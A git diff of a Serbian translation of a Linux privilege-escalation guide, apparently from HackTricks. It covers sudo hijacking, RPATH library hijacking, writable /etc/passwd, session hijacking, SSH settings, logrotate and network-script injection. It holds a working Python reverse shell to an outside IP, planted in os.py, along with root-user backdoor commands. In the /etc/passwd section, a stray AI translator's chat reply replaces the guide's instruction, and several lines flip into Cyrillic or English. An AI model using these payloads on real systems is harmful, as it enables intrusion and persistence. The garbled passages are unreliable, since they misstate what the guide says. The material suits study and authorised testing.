ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -982,17 +1004,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Postoje neke alternative za `sudo` binary, kao što je `doas` za OpenBSD — ne zaboravite da proverite njegovu konfiguraciju u `/etc/doas.conf`. +Postoje neke alternative binarnoj datoteci `sudo`, kao što je `doas` za OpenBSD; ne zaboravite da proverite njegovu konfiguraciju u `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** da eskalira privilegije i imate shell u tom korisničkom kontekstu, možete **kreirati novi sudo izvršni fajl** koji će izvršiti vaš kod kao root, a zatim komandu korisnika. Zatim **izmenite $PATH** korisničkog konteksta (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik pokrene sudo, izvrši se vaš sudo izvršni fajl. +Ako znate da **korisnik obično pristupa mašini i koristi `sudo`** da eskalira privilegije i da ste dobili shell u kontekstu tog korisnika, možete **kreirati novi sudo executable** koji će izvršiti vaš kod kao root, a zatim komandu korisnika. Zatim, **izmenite $PATH** konteksta korisnika (na primer dodavanjem novog path-a u .bash_profile) tako da kada korisnik pokrene sudo, vaš sudo executable bude izvršen. -Imajte na umu da ako korisnik koristi drugi shell (ne bash) moraćete da izmenite druge fajlove da dodate novi path. Na primer [sudo-piggyback](https://github.com/APTy/sudo-piggyback) menja `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete naći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Imajte na umu da ako korisnik koristi drugi shell (ne bash), moraćete da izmenite druge fajlove da dodate novi path. Na primer [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete naći drugi primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ili pokretanjem nečeg poput: +Ili pokretanje nečeg poput: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiranjem biblioteke u `/var/tmp/flag15/`, program će je koristiti na ovom mestu, kako je navedeno u promenljivoj `RPATH`. +Kopiranjem bibliotekе u `/var/tmp/flag15/` она ће бити коришћена од стране програма на овом месту како је наведено у променљивој `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1044,7 +1065,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Zatim kreirajte zlonamernu biblioteku u `/var/tmp` pomoću `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Zatim kreirajte zlonamernu biblioteku u `/var/tmp` koristeći `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1059,7 +1080,7 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Linux capabilities pružaju **podskup dostupnih root privilegija procesu**. Ovo efikasno razlaže root **privilegije na manje i posebne jedinice**. Svakoj od ovih jedinica se zatim može nezavisno dodeliti procesima. Na taj način se smanjuje ukupan skup privilegija, što umanjuje rizik od eksploatacije.\ Read the following page to **learn more about capabilities and how to abuse them**: @@ -1069,32 +1090,32 @@ linux-capabilities.md ## Directory permissions -U direktorijumu, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +U direktorijumu, **bit za "execute"** znači da pogođeni korisnik može da izvrši "**cd**" u taj direktorijum.\ +Bit **"read"** znači da korisnik može **prikazati listu** **fajlova**, dok bit **"write"** znači da korisnik može **brisati** i **kreirati** nove **fajlove**. ## ACLs -Access Control Lists (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban da **nadjača the traditional ugo/rwx permissions**. Ove dozvole poboljšavaju kontrolu pristupa fajlu ili direktorijumu tako što omogućavaju ili uskraćuju prava određenim korisnicima koji nisu vlasnici niti članovi grupe. Ovaj nivo **granularnosti omogućava preciznije upravljanje pristupom**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Liste kontrole pristupa (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposobnih da **nadjačaju tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu pristupa fajlovima ili direktorijumima omogućavajući ili uskraćujući prava određenim korisnicima koji nisu vlasnici niti član grupe. Ovaj nivo **granularnosti omogućava preciznije upravljanje pristupom**. Dalje detalje možete pronaći [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" read and write permissions over a file: +**Dodelite** korisniku "kali" dozvole za čitanje i pisanje nad fajlom: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Pronađite** fajlove sa određenim ACL-ovima iz sistema: +**Dobijte** datoteke sa specifičnim ACLs iz sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Otvorene shell sessions +## Otvorene shell sesije -U **old versions** možete **hijack** neku **shell** session drugog korisnika (**root**).\ -U **newest versions** moći ćete da se **connect** na screen sessions samo kao **your own user**. Međutim, možete pronaći **interesting information inside the session**. +U **starijim verzijama** možete izvršiti **hijack** neke **shell** sesije drugog korisnika (**root**).\ +U **najnovijim verzijama** moći ćete da se **connect** samo na screen sesije svog **vlastitog korisnika**. Međutim, u sesiji možete pronaći **zanimljive informacije**. ### screen sessions hijacking -**List screen sessions** +**Prikaži screen sesije** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1107,11 +1128,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Otmica tmux sesija +## tmux sessions hijacking -Ovo je bio problem sa **starim verzijama tmux-a**. Nisam mogao da otmem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik. +Ovo je bio problem sa **starim tmux verzijama**. Nisam uspeo da hijack-ujem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik. -**Prikaži tmux sesije** +**Lista tmux sesija** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1119,7 +1140,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Priključi se na session** +**Priključite se na sesiju** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1129,53 +1150,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** za primer. +Proveri **Valentine box from HTB** za primer. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Svi SSL i SSH ključevi generisani na sistemima zasnovanim na Debianu (Ubuntu, Kubuntu, itd.) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovom ranjivošću.\ -Ova greška nastaje prilikom kreiranja novog ssh ključa na tim OS-ovima, jer je **bilo moguće samo 32.768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **posedujući ssh public key možete potražiti odgovarajući private key**. Izračunate mogućnosti možete naći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Svi SSL i SSH ključevi generisani na Debian based sistemima (Ubuntu, Kubuntu, etc) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bagom.\ +Ovaj bag nastaje prilikom kreiranja novog ssh ključa na tim OS, jer je **bilo moguće samo 32,768 varijacije**. To znači da je moguće izračunati sve mogućnosti i **imajući ssh public key možete tražiti odgovarajući private key**. Izračunate mogućnosti možete pronaći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH Zanimljive konfiguracione vrednosti -- **PasswordAuthentication:** Specificira da li je password authentication dozvoljen. Podrazumevano je `no`. -- **PubkeyAuthentication:** Specificira da li je public key authentication dozvoljen. Podrazumevano je `yes`. -- **PermitEmptyPasswords**: Kada je password authentication dozvoljen, specificira da li server dozvoljava prijavu na naloge sa praznim password stringovima. Podrazumevano je `no`. +- **PasswordAuthentication:** Određuje da li je autentifikacija lozinkom dozvoljena. Podrazumevano je `no`. +- **PubkeyAuthentication:** Određuje da li je autentifikacija putem public key dozvoljena. Podrazumevano je `yes`. +- **PermitEmptyPasswords**: Kada je autentifikacija lozinkom dozvoljena, određuje da li server dopušta prijavu na naloge sa praznim lozinkama. Podrazumevano je `no`. ### PermitRootLogin -Specificira da li root može da se prijavi koristeći ssh, podrazumevano je `no`. Moguće vrednosti: +Određuje da li se root može prijaviti koristeći ssh, podrazumevano je `no`. Moguće vrednosti: - `yes`: root može da se prijavi koristeći password i private key - `without-password` or `prohibit-password`: root se može prijaviti samo pomoću private key -- `forced-commands-only`: root se može prijaviti samo koristeći private key i ako su opcije commands specificirane -- `no` : ne +- `forced-commands-only`: root se može prijaviti samo koristeći private key i ako su specificirane opcije command +- `no`: ne ### AuthorizedKeysFile -Specificira fajlove koji sadrže public keys koji se mogu koristiti za user authentication. Može sadržati tokene poput `%h`, koji će biti zamenjen home direktorijumom. **Možete navesti apsolutne putanje** (koje počinju sa `/`) ili **relativne putanje od korisnikovog home-a**. Na primer: +Određuje fajlove koji sadrže public keys koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene poput `%h`, koji će biti zamenjeni home direktorijumom. **Možete navesti apsolutne putanje** (počinju sa `/`) ili **relativne putanje u odnosu na home direktorijum korisnika**. Na primer: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracija označava da, ako pokušate da se prijavite sa **private** key korisnika "**testusername**", ssh će uporediti public key vašeg ključa sa onima koji se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracija pokazuje da, ako pokušate da se prijavite pomoću **private** ključa korisnika "**testusername**", ssh će porediti public key vašeg ključa sa onima koja se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding vam omogućava da **use your local SSH keys instead of leaving keys** (without passphrases!) na vašem serveru. Dakle, moći ćete da **jump** putem ssh **to a host** i odatle **jump to another** host **using** the **key** koji se nalazi na vašem **initial host**. +SSH agent forwarding vam omogućava da koristite svoje lokalne SSH keys umesto da ostavljate keys (bez passphrases!) na serveru. Tako ćete moći da jump preko ssh na host, a odatle da jump na drugi host koristeći key koji se nalazi na vašem initial hostu. -Treba da podesite ovu opciju u `$HOME/.ssh.config` ovako: +Morate podesiti ovu opciju u `$HOME/.ssh.config` na sledeći način: ``` Host example.com ForwardAgent yes ``` Obratite pažnju da ako je `Host` postavljen na `*`, svaki put kada korisnik pređe na drugu mašinu, ta mašina će moći da pristupi ključevima (što predstavlja bezbednosni problem). -Fajl `/etc/ssh_config` može **prepisati** ove **opcije** i dozvoliti ili zabraniti ovu konfiguraciju.\ -Fajl `/etc/sshd_config` može **dozvoliti** ili **zabraniti** ssh-agent forwarding pomoću ključne reči `AllowAgentForwarding` (default is allow). +Datoteka `/etc/ssh_config` može **prepisati** ovu **opciju** i dozvoliti ili zabraniti ovu konfiguraciju.\ +Datoteka `/etc/sshd_config` može **dozvoliti** ili **zabraniti** ssh-agent forwarding pomoću direktive `AllowAgentForwarding` (podrazumevano je dozvoljeno). -Ako otkrijete da je Forward Agent konfiguran u okruženju, pročitajte sledeću stranicu, jer **možda ćete moći da iskoristite to za eskalaciju privilegija**: +Ako otkrijete da je Forward Agent konfiguran u nekom okruženju, pročitajte sledeću stranu jer **možda ćete moći da ga zloupotrebite za escalate privileges**: {{#ref}} @@ -1186,15 +1207,13 @@ ssh-forward-agent-exploitation.md ### Datoteke profila -Fajl `/etc/profile` i fajlovi pod `/etc/profile.d/` su **skripte koje se izvršavaju kada korisnik pokrene novi shell**. Dakle, ako možete **upisati ili izmeniti bilo koji od njih, možete eskalirati privilegije**. +Datoteka `/etc/profile` i fajlovi u `/etc/profile.d/` su **skripte koje se izvršavaju kada korisnik pokrene novi shell**. Dakle, ako možete **pisati ili izmeniti bilo koju od njih, možete escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Ako se pronađe neka sumnjiva skripta profila, trebalo bi je proveriti zbog **osetljivih detalja**. +### Passwd/Shadow datoteke -### Passwd/Shadow Files - -U zavisnosti od OS-a fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati rezervna kopija. Zato se preporučuje **pronaći ih sve** i **proveriti da li ih možete pročitati** kako biste videli **da li se u fajlovima nalaze hashes**: +U zavisnosti od OS-a, `/etc/passwd` i `/etc/shadow` datoteke mogu koristiti drugo ime ili može postojati bekap. Zato se preporučuje **find all of them** i **check if you can read** them kako biste videli **if there are hashes** inside the files: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1207,59 +1226,54 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/ ``` ### Upisiv /etc/passwd -Prvo generišite lozinku pomoću jedne od sledećih komandi. +Prvo, generišite lozinku jednom od sledećih komandi. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Molim pošaljite sadržaj fajla src/linux-hardening/privilege-escalation/README.md koji treba da prevedem. +Nema sadržaja fajla. Pošaljite sadržaj src/linux-hardening/privilege-escalation/README.md koji želite da prevedem. -Takođe pojasnite šta tačno želite u vezi sa korisnikom: -- Da li želite da u prevedeni README ubacim napomenu/komandu koja dodaje korisnika hacker i generisanu lozinku? -- Ili želite da vam samo dam tačne komande koje treba da pokrenete na svom sistemu (ne mogu da ih izvršim umesto vas)? +Takođe pojasnite šta tačno želite pod „Then add the user `hacker` and add the generated password.“: +- Da li želite da u prevedeni README ubacim liniju sa komandama za dodavanje korisnika (npr. useradd / adduser i echo / chpasswd) i generisanu lozinku? +- Ili želite samo da generišem jaku lozinku i vratim je (da biste vi ručno dodali korisnika)? -Ako želite, odmah mogu da generišem sigurnu lozinku (npr. 16 karaktera) i vratim je zajedno sa komandama, npr.: -sudo useradd -m -s /bin/bash hacker -echo 'hacker:' | sudo chpasswd -sudo usermod -aG sudo hacker (opciono) - -Recite koju opciju želite i pošaljite sadržaj fajla. +Ako želite da generišem lozinku, recite dužinu i da li da uključim specijalne karaktere. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Na primer: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Npr: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Sada možete da koristite komandu `su` sa `hacker:hacker` +Sada možete koristiti komandu `su` sa `hacker:hacker` -Alternativno, možete da koristite sledeće linije da dodate lažnog korisnika bez lozinke.\ -UPOZORENJE: možete narušiti trenutnu bezbednost mašine. +Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\ +UPOZORENJE: možete ugroziti trenutnu bezbednost mašine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` NAPOMENA: Na BSD platformama `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe `/etc/shadow` je preimenovan u `/etc/spwd.db`. -Treba da proverite da li možete **pisati u neke osetljive fajlove**. Na primer, da li možete pisati u neki **servisni konfiguracioni fajl**? +Trebalo bi da proverite da li možete **pisati u neke osetljive fajlove**. Na primer, da li možete pisati u neki **konfiguracioni fajl servisa**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na пример, ако машина покреће **tomcat** server и можете **изменити Tomcat service configuration file inside /etc/systemd/,** онда можете изменити линије: +Na пример, ако машина покреће **tomcat** server и можете **modify the Tomcat service configuration file inside /etc/systemd/,** онда можете изменити линије: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Vaš backdoor biće izvršen sledeći put kada se tomcat pokrene. +Vaš backdoor će biti izvršen sledeći put kada se tomcat pokrene. ### Proverite foldere -Sledeći folderi mogu sadržati backups ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) +Sledeći folderi mogu sadržati rezervne kopije ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Čudne lokacije/Owned fajlovi +### Čudna lokacija/Owned fajlovi ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1276,7 +1290,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Датотеке измењене у последњих неколико минута +### Fajlovi izmenjeni u poslednjih nekoliko minuta ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1284,7 +1298,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fajlovi +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1310,18 +1324,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Poznate datoteke koje sadrže lozinke -Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **više mogućih datoteka koje bi mogle sadržavati lozinke**.\ -**Još jedan interesantan alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda koja se koristi za izdvajanje velikog broja lozinki sa lokalnog računara za Windows, Linux & Mac. +Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **nekoliko mogućih datoteka koje bi mogle sadržati lozinke**.\ +**Još jedan interesantan alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koja je aplikacija otvorenog koda koja se koristi za dobijanje velikog broja lozinki pohranjenih na lokalnom računaru za Windows, Linux & Mac. ### Logovi -Ako možete čitati logove, možda ćete moći pronaći **zanimljive/poverljive informacije u njima**. Što je log čudniji, to će verovatno biti zanimljiviji.\ -Takođe, neke "**bad**" konfigurisane (backdoored?) **audit logs** mogu vam omogućiti da **zabeležite lozinke** unutar audit logova, kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ako možete čitati logove, možda ćete moći da pronađete **zanimljive/poverljive informacije u njima**. Što je log čudniji, to će verovatno biti zanimljiviji.\ +Takođe, neki "**bad**" konfigurisan (backdoored?) **audit logs** mogu vam dozvoliti da **zabeležite lozinke** unutar audit logs kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Da biste čitali logove, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) biće zaista korisna. +Da biste mogli **da čitate logove**, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) će biti od velike pomoći. ### Shell fajlovi ```bash @@ -1336,57 +1350,57 @@ Da biste čitali logove, grupa [**adm**](interesting-groups-linux-pe/index.html# ``` ### Generic Creds Search/Regex -Treba takođe da proverite datoteke koje u svom **imenu** ili u **sadržaju** sadrže reč "**password**", kao i da tražite IPs i emails u logs, ili hashes regexps.\ -Neću ovde nabrajati kako se sve to radi, ali ako vas zanima možete proveriti poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) izvršava. +Takođe treba da proverite fajlove koji u svom **nazivu** ili u **sadržaju** sadrže reč "**password**", kao i da proverite IPs i emails unutar logs, ili hashes regexps.\ +Neću ovde navoditi kako se sve to radi, ali ako vas zanima, možete pogledati poslednje provere koje izvodi [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Datoteke dostupne za pisanje +## Upisivi fajlovi ### Python library hijacking -Ako znate **odakle** će se python script izvršavati i možete **pisati u** taj folder ili možete **izmeniti python libraries**, možete izmeniti OS library i backdoor it (ako možete pisati tamo gde će se python script izvršavati, kopirajte i nalepite os.py library). +If you know from **odakle** a python script is going to be executed and you **možete pisati u** that folder or you **can modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate eksploatacija +### Logrotate exploitation -Ranjivost u `logrotate` omogućava korisnicima sa **write permissions** na log fajl ili njegovim nadređenim direktorijumima da potencijalno dobiju povišene privilegije. To je zato što `logrotate`, često pokrenut kao **root**, može biti manipulisano da izvrši proizvoljne fajlove, posebno u direktorijumima poput _**/etc/bash_completion.d/**_. Važno je proveriti permisije ne samo u _/var/log_ nego i u bilo kom direktorijumu gde se primenjuje rotacija logova. +Ranljivost u `logrotate` omogućava korisnicima sa **write permissions** na log file ili njegovim roditeljskim direktorijumima da potencijalno dobiju eskalirane privilegije. To je zato što se `logrotate`, često pokrenut kao **root**, može manipulisati da izvrši proizvoljne fajlove, posebno u direktorijumima kao što su _**/etc/bash_completion.d/**_. Važno je proveriti permisije ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje rotacija logova. > [!TIP] -> Ova ranjivost utiče na `logrotate` verziju `3.18.0` i starije +> Ova ranljivost utiče na `logrotate` verziju `3.18.0` i starije -Detaljnije informacije o ranjivosti mogu se naći na ovoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Više detaljnih informacija o ranjivosti može se naći na ovoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Ovu ranjivost možete iskoristiti pomoću [**logrotten**](https://github.com/whotwagner/logrotten). +Možete iskoristiti ovu ranjivost pomoću [**logrotten**](https://github.com/whotwagner/logrotten). -Ova ranjivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** tako da kad god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete da eskalirate privilegije zamenom logova simboličkim linkovima. +Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** pa kad god otkrijete da možete menjati logs, proverite ko upravlja tim logs i proverite da li možete eskalirati privilegije zamenom logs symlinks-ima. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referenca ranjivosti:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Ako, iz bilo kog razloga, korisnik može **write** `ifcf-` skriptu u _/etc/sysconfig/network-scripts_ **ili** može **adjust** postojeću, onda je vaš **system is pwned**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ na primer, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, oni su ~sourced~ na Linuxu od strane Network Manager-a (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +U mom slučaju, atribut `NAME=` u ovim network skriptama nije pravilno obrađen. Ako imate **prazan razmak u imenu, sistem pokušava da izvrši deo nakon praznog razmaka**. To znači da **sve nakon prvog praznog razmaka bude izvršeno kao root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Na primer: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Napomena: prazan razmak između Network i /bin/id_) +(_Obratite pažnju na razmak između Network i /bin/id_) ### **init, init.d, systemd, and rc.d** -Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasičan Linux sistem za upravljanje servisima**. Sadrži skripte za `start`, `stop`, `restart` i ponekad `reload` servisa. One se mogu izvršiti direktno ili preko simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativna putanja na Redhat sistemima je `/etc/rc.d/init.d`. +Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasičan Linux sistem za upravljanje servisima**. Sadrži skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativna putanja na Redhat sistemima je `/etc/rc.d/init.d`. -Sa druge strane, `/etc/init` je vezano za **Upstart**, noviji **sistem za upravljanje servisima** koji je predstavio Ubuntu i koji koristi konfiguracione fajlove za upravljanje servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u. +Sa druge strane, `/etc/init` je povezan sa **Upstart**, novijim rešenjem za **service management** koje je uvela Ubuntu, i koristi konfiguracione fajlove za zadatke upravljanja servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja za kompatibilnost u Upstart-u. -**systemd** predstavlja moderan init i menadžer servisa, nudeći napredne funkcije kao što su pokretanje demona po potrebi, upravljanje automount-ovima i snimanje stanja sistema. Organizira fajlove u `/usr/lib/systemd/` za pakete distribucije i `/etc/systemd/system/` za izmene od strane administratora, pojednostavljujući administraciju sistema. +**systemd** se pojavljuje kao moderan init i service manager, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-ovima i snapshot-ovanje stanja sistema. Organizuje fajlove u `/usr/lib/systemd/` za distro pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući administraciju sistema. ## Ostali trikovi @@ -1413,7 +1427,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks često hookuju syscall da izlože privilegovanu kernel funkcionalnost userspace manageru. Slaba autentifikacija managera (npr. provere potpisa zasnovane na FD-order ili loši password schemes) može omogućiti lokalnoj aplikaciji da se predstavi kao manager i eskalira privilegije do root na već-rootovanim uređajima. Saznajte više i detalje eksploatacije ovde: +Android rooting frameworks često hook-uju syscall da bi izložili privilegovanu kernel funkcionalnost userspace manager-u. Slaba autentifikacija manager-a (npr. provere potpisa zasnovane na FD-order ili loši šemovi lozinki) može omogućiti lokalnoj aplikaciji da se predstavi kao manager i eskalira na root na uređajima koji su već root-ovani. Saznajte više i detalje eksploatacije ovde: {{#ref}} @@ -1425,7 +1439,7 @@ 